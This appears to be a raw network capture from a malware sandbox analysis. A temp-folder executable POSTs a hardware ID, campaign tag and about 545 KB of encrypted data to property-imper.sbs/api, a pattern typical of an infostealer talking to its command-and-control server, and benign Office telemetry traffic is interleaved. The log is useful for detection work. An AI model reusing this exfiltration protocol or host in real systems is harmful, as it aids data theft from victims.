2024-11-23 20:15:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49742	172.67.162.84	443	3576	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:34 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QFT6RL31G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 545739 Host: property-imper.sbs
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 2d 2d 51 46 54 36 52 4c 33 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 51 46 54 36 52 4c 33 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 46 54 36 52 4c 33 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 46 54 36 52 4c 33 31 47 0d 0a 43 6f 6e 74 65 6e Data Ascii: --QFT6RL31GContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--QFT6RL31GContent-Disposition: form-data; name="pid"1--QFT6RL31GContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QFT6RL31GConten
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 5e 51 c9 3b 1b f9 31 d1 b1 40 bb 44 f1 aa b8 60 aa 6a c3 78 25 05 59 3a 9b 04 82 d4 72 87 c9 b5 71 06 4c 2f 35 27 e4 2c 39 45 df 8d 5f 39 38 f0 59 56 d3 84 84 cc 41 72 1c 05 60 a6 05 e7 f6 81 a1 1f 93 1a 0f 4d ab 5f 1f 31 9e d9 e5 c8 8b 35 98 ce 6b 42 3a 17 6f 76 2d 49 4c b1 d9 c3 0b ec 99 af 59 7b 14 bc b9 62 1d 36 ef e8 14 f4 22 06 b6 45 24 06 74 47 87 19 d3 a9 c3 14 53 d6 db 95 81 26 80 8d 8a a6 4e d9 45 52 7a 2e 60 06 7f 96 9e 6c 4b 6a 94 83 ff 8f 4d 21 c9 3b 5c 75 46 10 41 0e d0 7e d0 a7 0c 70 78 e7 47 10 93 fa 2b 48 dd 7f 7e 20 e4 38 9e 0c d1 16 6a 79 1a e3 9d 17 3e 32 aa fb 84 19 21 bf 3f a1 07 bf 90 2a 7d a9 b8 43 a2 e3 3c d3 55 01 de db 10 e5 11 5c 60 16 21 25 78 43 d5 8b 27 87 e2 10 56 dc 15 65 5b a9 f6 e3 f6 bd 2e 8b 49 70 72 6f 49 ea d1 49 f6 Data Ascii: ^Q;1@D`jx%Y:rqL/5',9E_98YVAr`M_15kB:ov-ILY{b6"E$tGS&NERz.`lKjM!;\uFA~pxG+H~ 8jy>2!?*}C<U\`!%xC'Ve[.IproII
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 26 33 1a 41 8b e6 38 38 26 26 04 22 23 35 51 2c 49 b0 7d e2 ed 97 9a 54 19 0b ef 9a 56 7c 57 09 ad ce d0 2c e4 30 4a d1 87 3d ad ac 8f 76 11 a5 3a d6 ff c4 03 c2 54 cc 94 46 83 b4 73 43 b8 87 bb b5 d2 6d c1 c1 43 25 0a 67 d5 76 29 a2 6f 97 1e 69 8d 3c 82 a2 36 dc fe 20 db 50 cd 52 65 ab 69 18 9e 7c 94 85 a2 86 95 94 03 01 35 17 71 1a 42 7d a5 9d 5a d1 df e7 6a 2a 37 8f 44 fa c4 f3 f7 11 76 28 be 88 13 9b 8c 47 8f 2b 1e a0 28 6f 2a 3e af 8d 0a e9 3b a9 9b 43 d6 a4 bb e2 36 74 3b 93 16 0f 24 4d 5d 25 6a 5c c0 3d 23 b7 23 cf 02 04 44 bb 8d 10 63 50 d0 da 78 3b e8 9d 47 4d 3c 61 45 de d3 c8 80 82 e0 8c d3 b4 a4 44 4a ea 6e bb 61 a9 17 79 0c 1b 93 df 9c a5 9d 71 7c 64 f5 4c f1 8a 3a 98 43 72 a5 bf 9f c1 04 03 d8 ff 1b f9 39 23 08 12 38 41 45 c2 2a 09 94 68 97 Data Ascii: &3A88&&"#5Q,I}TV\|W,0J=v:TFsCmC%gv)oi<6 PRei\|5qB}Zj7Dv(G+(o>;C6t;$M]%j\=##DcPx;GM<aEDJnayq\|dL:Cr9#8AE*h
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 64 47 94 18 1a 4e c1 26 1f 82 ed 46 0f 2a 9d 9b a9 f8 23 f2 28 aa 63 bf 2e ba 1b 45 64 98 49 0c 3c 3f 14 e2 2d 9f 3c cd 98 60 9f a2 10 ae 60 ec f7 37 58 fe 53 84 52 91 34 5e 86 ff 9a fb 8e df c8 55 1a 2a 2b 22 1e 78 f9 d5 be d6 79 06 0f 5a be ca f2 bd 39 65 eb be 50 00 a2 6c ef cd 7c b5 8f 7f 4c b1 95 8b 7a 4f e0 fb a4 7e e0 a7 65 a0 e9 8e b8 8d ca 25 fc 5b b9 7c 33 60 2b 60 46 35 b9 d6 7f 69 cd 64 66 27 6b c8 20 5c b9 9b 56 f5 85 5e 8f 4d 0e cc bf bd 7f f3 0e b2 fa ab c2 39 e7 6e 9c d7 b3 88 9f 97 c1 9b 73 a7 bd 38 fb 51 d5 e8 61 b7 03 76 ae 8a 03 e7 73 7a d0 a3 43 2b 4e 8f 1a 57 86 7c 7a b2 17 b8 ea fa c3 e5 44 29 dd 68 39 49 ee 78 bd 09 16 f6 9d f9 06 d2 73 21 e6 c3 fd eb 37 8f f5 1f 0b 50 36 8b 39 6e c6 31 0e 33 95 bf 8b 09 85 69 43 1f 4e 12 2d 0c 0e Data Ascii: dGN&F#(c.EdI<?-<``7XSR4^U+"xyZ9ePl\|LzO~e%[\|3`+`F5idf'k \V^M9ns8QavszC+NW\|zD)h9Ixs!7P69n13iCN-
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 4f eb 6e 75 12 97 c9 2d 0b 16 58 cf d7 95 cf cf 53 5b 22 00 cf e6 be ab d9 67 f3 f3 74 85 88 37 8e 1c 7f f8 ac 7f cc 9e 1f 58 6d e5 ef d9 0c 1f cf dd 2a fa 27 14 51 ff bb c7 7b 1b 4d 04 f9 b7 1a 22 df a2 59 57 f1 c0 ec 59 a5 29 4c 0f 6f e4 6e eb 41 13 b6 2a e6 fc 79 44 a9 89 78 bf fb b1 b7 7f 7f 9f fc 20 a3 18 4f d8 06 a6 78 8b 0b ce 13 5c f4 70 b6 d3 07 e5 29 07 a2 fd 57 af 07 52 15 c8 a1 4d 60 ef de 04 80 7c 5c 02 8a 8f 7d e1 a0 92 ee 8c 9c 0f ef 0a 5f 6c 29 d7 57 18 81 be d9 cf 6c 5e 96 fb a2 ff 28 67 91 b5 46 a5 d5 a9 e0 aa b8 be 2e 9a 68 2b b2 c0 1b 5b 8d ab 30 3f bf 73 f5 e7 7e 36 8a f8 7c 2d 1e 1f 9e b2 c5 03 52 26 f5 ff 27 a0 1b d5 91 f7 28 c2 e3 7b 4c 03 ff 69 2b 52 46 86 64 8c 2a c0 e4 ab 30 9b 3b 43 64 b1 6f 2e b8 2f be bb 46 36 55 5b 1c 2a bf Data Ascii: Onu-XS["gt7Xm'Q{M"YWY)LonAyDx Ox\p)WRM`\|\}_l)Wl^(gF.h+[0?s~6\|-R&'({Li+RFd0;Cdo./F6U[
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: fd 1b 8f 14 17 05 ee 58 bf be af 52 77 78 bb 41 d4 aa 29 25 3d 55 c8 e3 65 f9 c4 fa 50 3d fd ec 25 25 ed 2b 02 f9 0d d0 62 bf 87 36 3a e9 b7 b3 d1 96 24 4a 92 0e 8f b0 3a b6 5a f5 89 6f 91 6f 5b 8b 3d b5 b7 82 7e 6e 53 ff a3 d6 df ae 6b a2 72 1c 67 cf d0 d3 07 18 2a c5 a7 02 33 8f 93 1b 44 86 75 e2 cc 09 1c c4 f2 e1 03 a7 02 28 13 28 41 46 c1 15 45 26 4e 64 95 20 c8 c7 a6 ce 9a bb e0 a0 a0 34 4d 69 87 d9 23 16 3b 5c f2 bf 57 19 ff 77 9b 0c 60 0f 89 1a c5 f6 8f 67 ec e3 0e 11 66 c1 5f c2 0a 61 62 4c f5 f4 58 e6 f6 ad be 82 37 8f 09 1c 20 ac b3 72 9f 9f 58 d3 11 5e ec f4 a7 9c 3f f5 ed 42 4d 41 07 35 79 c8 ce 76 de 9c 59 bb 12 78 fd 65 4d 58 1b 45 52 65 e4 28 79 72 5b fc af d1 b8 83 f0 fe 5b cf d4 26 f5 df 7e 7a b7 d3 54 86 9c de c0 7b a9 92 44 41 6c 53 86 Data Ascii: XRwxA)%=UeP=%%+b6:$J:Zoo[=~nSkrg*3Du((AFE&Nd 4Mi#;\Ww`gf_abLX7 rX^?BMA5yvYxeMXERe(yr[[&~zT{DAlS
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 27 9c 01 c8 be c2 64 ad 7d db 08 e7 1c 8c 36 25 87 e0 00 e4 e9 38 28 18 3b d5 4e ca 1b e0 c4 1a c1 d6 60 1b ce 8e 64 ee d3 83 b9 ce 95 75 0c 28 db d1 e9 9b 97 87 55 9c ae aa 53 66 b9 c9 ab 8e 81 6e 08 1a f1 27 d5 4f bd 0b e5 13 fa 23 f8 3f 3c 27 98 27 72 f4 fc e5 79 41 75 9b 32 be 1a ee 09 3a ad a0 57 52 fd b7 df 7e f8 d5 71 21 20 45 84 8c 8a 7c bb cd 68 24 60 e6 21 fc 97 6b 02 fe 11 e3 99 22 99 a1 1e cd 0c 23 d8 1f c1 0b 4a 18 88 bc fa f3 58 97 8d 76 6e 26 9c a4 cf b7 63 49 84 d3 f0 07 fd 47 a1 ef 80 66 bb 1e 89 58 09 7b 22 47 fd 39 33 e6 42 aa de ea 59 b7 de 8b 41 aa 5e 68 4e 03 f6 cf ea ef 11 ab be 17 0d 9a 25 09 76 bf 6d cd d7 cc 8c e6 3d 74 c9 66 1a 4b 18 7f f3 bd 93 e4 a6 a2 8a f5 b3 93 79 6f eb ec 0b 44 9c 60 1e 5d 35 30 31 2f 5a b2 a6 79 e6 84 b7 Data Ascii: 'd}6%8(;N`du(USfn'O#?<''ryAu2:WR~q! E\|h$`!k"#JXvn&cIGfX{"G93BYA^hN%vm=tfKyoD`]501/Zy
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: c3 be e9 85 02 43 ae a8 cd a4 d2 cf c5 cf 8d 25 e1 3b 7b 25 d0 e5 b9 66 cc b6 c3 85 82 6d e3 0d 92 f1 ab f4 67 9b f3 6b aa 5c e7 c4 a1 46 bf 84 dd 6e 14 a1 51 69 73 d9 c2 63 07 d2 27 32 c4 fb f9 bd 9f ba 23 6c 7e 9d d5 d7 ea 2c 0a 91 2f 57 c5 90 f0 c9 34 06 f6 e8 70 ac 61 df 38 b9 f9 c6 a8 5c 7b ef c9 ce bc df 72 86 e8 e7 88 95 ee 46 e1 18 92 49 77 47 05 18 94 86 d4 d9 f6 84 fc 63 0d a7 71 9f 06 f0 35 28 75 44 e4 32 54 b0 9c 9a d0 68 34 ef 1c a8 d5 13 d6 19 5b 38 cd 48 d8 1f 22 37 49 ec 68 ca 7f 9d 70 0c 5f a8 a6 60 f5 00 34 7d f5 c9 df 84 d8 f7 9e 1d c0 4c df 21 c9 ea 79 0d 55 96 75 50 2e 2c 68 9b aa bd ad c7 c2 4a ef e2 02 37 5f 9d 4b 9d 6b 28 dc dc f4 9e 17 58 08 0d b5 9f 88 66 a2 ca e7 11 92 23 f3 4d 32 c9 fd 4d 21 89 13 86 4b 61 73 ad c6 c9 0f cc b8 Data Ascii: C%;{%fmgk\FnQisc'2#l~,/W4pa8\{rFIwGcq5(uD2Th4[8H"7Ihp_`4}L!yUuP.,hJ7_Kk(Xf#M2M!Kas
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: 7e da ad 4f 72 2d 76 9a ff 92 09 66 29 f0 2e 5f ca 94 f4 5a d9 4f 17 31 fc 8b 86 5a ce 4d b7 cc 09 1f 5b 8c bb 39 2c a6 fb 65 76 be f2 ee 58 7f 5e 36 06 b5 1f 41 a8 04 42 dc 16 c7 53 19 3d 07 bf 4d 29 fe 6f 30 72 9f 82 5c b8 34 7a 2f 7f 69 1f 2f b4 95 e4 7d 78 61 d7 95 d0 14 b6 13 b6 f7 bd fc 97 b3 d4 d4 35 aa 57 f7 0b be 46 21 9a 6f a1 c0 4f a7 f2 e5 53 b1 53 9d 41 9a 72 9c ae ac ab 10 4b ff 78 98 75 80 3e fe 3c 60 c7 51 27 ab 12 aa 28 a0 da 2e fd b6 70 43 73 cc 31 ec c7 29 41 00 f7 93 34 ef 76 12 e3 4c 16 c7 5c e7 4f 3d e9 f6 38 91 b7 64 46 e7 c8 5c f2 1e 85 f4 29 cb 72 8f 71 0a 2f d3 cb 60 39 1e 82 ab 06 8b bf 19 6d ac fe b3 f8 25 34 42 ef 25 20 fd 79 b2 21 d0 83 80 95 38 90 f7 30 ff bc 06 d5 b3 20 40 a0 47 74 59 fb 57 97 2b e8 17 2d e2 94 8c 78 2e 18 Data Ascii: ~Or-vf)._ZO1ZM[9,evX^6ABS=M)o0r\4z/i/}xa5WF!oOSSArKxu><`Q'(.pCs1)A4vL\O=8dF\)rq/`9m%4B% y!80 @GtYW+-x.
2024-11-23 20:15:34 UTC	15331	OUT	Data Raw: e7 a6 48 94 a7 ca 03 7c d2 a7 95 be 23 6c 61 e1 43 87 f8 ad fa 32 e4 79 e6 30 28 eb d0 e1 c7 7a db dd 3b 96 df e2 fc 1a 4c 0a 7e 5d a1 ce 0f 98 07 de 18 8d 13 0f bf aa c5 89 90 cf 5b e5 12 93 f1 76 4a 94 94 36 e6 2b 46 21 a7 91 cb ec 9c a8 ef 51 ff 57 c1 67 91 4a be bd e8 83 5d 4e 62 39 70 ba c6 b4 c9 88 80 3c 18 7e 5e 09 c8 4c b7 a9 08 1b 09 ea 48 90 1d 4d 08 3b c3 fa ec 47 0b ef ae 88 63 96 58 1b 0b 11 87 91 5d 57 aa ae c5 dd b8 ad 25 f8 6b fa 8a 42 69 fd 8f 0d bc cf 70 ed cd aa ad d0 ea d1 c9 a5 ed 87 69 b4 77 39 43 e9 c9 84 59 f1 88 05 99 ff b4 ba c3 b3 fc 17 8f 60 01 b9 a2 2a ee 7e 28 bd bd bf 25 ba 29 3c fd 42 65 da ef 55 7a 81 77 cb c7 1a d3 fd df d4 09 ae 9a 4c 40 9d ff 55 df f3 16 97 60 e7 19 bd bf a8 ff da 76 d7 a8 7c 29 9b 49 d8 94 bc 2a 20 01 Data Ascii: H\|#laC2y0(z;L~][vJ6+F!QWgJ]Nb9p<~^LHM;GcX]W%kBipiw9CY`~(%)<BeUzwL@U`v\|)I
2024-11-23 20:15:39 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=carbs6lec1rdemupuseb99nfvh; expires=Wed, 19-Mar-2025 14:02:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mitfuRepMMBDxIkshoCGJkK9wI2we7zH1q0b7Y5eUvsuk2xC0v%2FopcC302kmQptERrd%2FWPffmHsjr19zRuGBYBch3wDuLPlvE%2FM68oaxA0dzccV9fhXAg%2BswGxf%2Ba9uAFmESivw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d4fedf690f6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1525&sent=314&recv=547&lost=0&retrans=0&sent_bytes=2844&recv_bytes=548213&delivery_rate=1634938&cwnd=252&unsent_bytes=0&cid=035d9211715c9e25&ts=5471&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.8	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:34 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 922c5f4e-601e-005c-577c-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201534Z-174c587ffdfgcs66hC1TEB69cs000000035g00000000pfku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 81a1b48f-901e-00ac-7058-3cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201534Z-15b8b599d88f9wfchC1TEBm2kc00000003f000000000g825 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.8	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201534Z-174c587ffdfb74xqhC1TEBhabc00000003e00000000090fe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.8	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:34 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3744ce68-601e-00ab-2603-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201534Z-178bfbc474bwlrhlhC1NYCy3kg000000051g000000001qxk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49743	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:35 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 20:15:35 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
